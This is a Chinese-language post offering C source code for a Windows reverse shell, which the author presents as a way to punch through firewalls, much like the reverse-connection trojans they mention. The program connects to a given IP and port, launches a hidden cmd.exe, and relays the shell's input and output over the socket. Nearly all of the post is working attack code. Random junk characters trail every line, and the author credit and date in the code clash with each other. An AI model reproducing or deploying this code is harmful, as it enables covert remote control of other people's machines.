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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W=)wiRQm  
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/* ============================== {x8UL7{  
Rebound port in Windows NT $}/Q%r  
By wind,2006/7 g :Z, ab4  
===============================*/ %=O$@.%Zc  
#include Hxm CKW!  
#include av*M #  
gc6T`O-_;  
#pragma comment(lib,"wsock32.lib") {<_9QAS  
iTq~ ^9G  
void OutputShell(); hm5A@Z   
SOCKET sClient; /Dn  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \jcEEIEi  
l .wf= /  
void main(int argc,char **argv) /Vy8%   
{ ;PrL)!  
WSADATA stWsaData; ?fXlrJ  
int nRet; >&kb|)  
SOCKADDR_IN stSaiClient,stSaiServer; +^6v%z  
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if(argc != 3) P=jbr"5Q:  
{ rLm:qu(F1  
printf("Useage:\n\rRebound DestIP DestPort\n"); dGb]`*E  
return; c*"TmDY  
} ecI[lB  
yv!,iK9  
WSAStartup(MAKEWORD(2,2),&stWsaData); =>7\s}QZ  
"[LSDE"(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VC6S4FU4K  
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stSaiClient.sin_family = AF_INET; UkY `&&ic  
stSaiClient.sin_port = htons(0); (n~ e2tZ/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7 i |_PP_  
;7]Q'N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u/h!i@_w[  
{ 2 #+g4  
printf("Bind Socket Failed!\n"); VK)K#!O8  
return; 5_mb+A n,  
} 1Jx|0YmO  
Kb#}f/  
stSaiServer.sin_family = AF_INET; o5N];Nj  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8;YN`S!o  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vkXdKL(q  
Va1 eG]jQ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L/.$0@$bv  
{ f'\NGL  
printf("Connect Error!"); B0:[3@P7  
return;  uT}Jw  
} | ZI~#V  
OutputShell(); p5KM(N6f  
} f]BG`rJX  
E&/D%}Wl  
void OutputShell() (zFUC]  
{ V+()`>44  
char szBuff[1024]; _faI*OY8  
SECURITY_ATTRIBUTES stSecurityAttributes; w:z@!<  
OSVERSIONINFO stOsversionInfo; tzxp0&:Z].  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @ P=eu3  
STARTUPINFO stStartupInfo; ezt_ct/Z  
char *szShell; A;sdrA  
PROCESS_INFORMATION stProcessInformation; &B^vHH  
unsigned long lBytesRead; eqSCNYN  
CMIjc(m  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); PUUBn"U-  
9 GdrJ~h  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S!GjCog^J  
stSecurityAttributes.lpSecurityDescriptor = 0; TXi$Q%0W  
stSecurityAttributes.bInheritHandle = TRUE; *XmOWV2Y_  
R0y@#}JH  
0 mWfR8h0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ><X!~by  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); TA}z3!-y*  
Qhnz7/a9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A}#@(ma7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]u_^~  
stStartupInfo.wShowWindow = SW_HIDE; `F>1xMm  
stStartupInfo.hStdInput = hReadPipe; n ?%3=~9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VZ*Q|  
Dk|<&uVV  
GetVersionEx(&stOsversionInfo); C61KY7iyR  
'"5" $)7  
switch(stOsversionInfo.dwPlatformId) -;z&">  
{ Q^v8n1  
case 1: *n0k2 p  
szShell = "command.com"; ;<#fZ0(l;  
break; hGH{Xp[mW  
default: <?P UF,  
szShell = "cmd.exe"; ^yKP 99(  
break; j=)%~@  
} P Z-|W  
%Hu Qc^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _[V.%k  
#](k,% 2  
send(sClient,szMsg,77,0); }[PbA4l.g  
while(1) |,]#vcJP#b  
{ gU/\'~HG  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "w`f>]YLA  
if(lBytesRead) >]=1~ sF  
{ I0O)MR<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fp9ksxb@m  
send(sClient,szBuff,lBytesRead,0); Z{/C4" F  
} y^zVb\"4  
else Vzz0)`*hQ  
{ p]:~z|.Ba  
lBytesRead=recv(sClient,szBuff,1024,0); g~%=[1  
if(lBytesRead<=0) break; ~?aq=T  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M~7?m/Wj  
} gtz!T2%  
} hX=+%^c%_A  
"HVwm>qEi  
return; pi5Al)0  
}
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